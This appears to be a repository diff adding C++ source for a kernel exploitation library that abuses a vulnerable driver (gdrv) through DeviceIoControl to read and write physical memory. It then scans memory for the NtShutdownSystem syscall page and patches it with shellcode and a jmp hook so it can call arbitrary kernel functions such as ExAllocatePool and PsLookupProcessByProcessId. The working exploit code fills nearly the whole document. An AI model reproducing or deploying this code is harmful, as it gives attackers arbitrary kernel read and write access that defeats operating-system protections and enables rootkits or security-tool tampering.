in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,122 @@
#include "vdm_ctx.hpp"
namespace vdm
{
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kmodule_export(
"ntoskrnl.exe",
syscall_hook.first,
true
));
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
bool vdm_ctx::rkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
return this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
bool vdm_ctx::wkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
return this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,167 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
bool rkm(void* dst, void* src, std::size_t size);
bool wkm(void* dst, void* src, std::size_t size);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
T buffer;
if (!rkm((void*)&buffer, (void*)addr, sizeof T))
return {};
return buffer;
}
template <class T>
__forceinline bool wkm(std::uintptr_t addr, const T& value)
{
return wkm((void*)addr, (void*)&value, sizeof T);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
{
static const auto ps_lookup_peproc =
util::get_kmodule_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId");
PEPROCESS peproc = nullptr;
this->syscall<PsLookupProcessByProcessId>(
ps_lookup_peproc,
(HANDLE)pid,
&peproc
);
return peproc;
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
__forceinline auto kalloc(std::size_t size) -> std::uintptr_t
{
static const auto mm_allocate =
util::get_kmodule_export("ntoskrnl.exe", "ExAllocatePool");
return this->syscall<std::uintptr_t(*)
(std::uint8_t, std::size_t)>(mm_allocate, NULL, size);
}
__forceinline auto get_physical(std::uintptr_t phys_addr) -> std::uintptr_t
{
static const auto mm_get_physical =
util::get_kmodule_export("ntoskrnl.exe", "MmGetPhysicalAddress");
return this->syscall<std::uintptr_t(*)
(std::uintptr_t)>(mm_get_physical, phys_addr);
}
__forceinline auto get_current_thread(void) -> PETHREAD
{
static const auto ke_get_thread =
util::get_kmodule_export("ntoskrnl.exe", "KeGetCurrentThread");
return this->syscall<PETHREAD(*)()>(ke_get_thread);
}
__forceinline auto readcr3(void) -> std::uintptr_t
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 0f 20 d8 mov rax, cr3
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x0F, 0x20, 0xD8, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
write_phys(vdm::syscall_address.load(), shellcode, sizeof shellcode);
auto result = reinterpret_cast<std::uintptr_t(__fastcall*)(void)>(proc)();
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
};
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 169 KiB

Loading…
Cancel
Save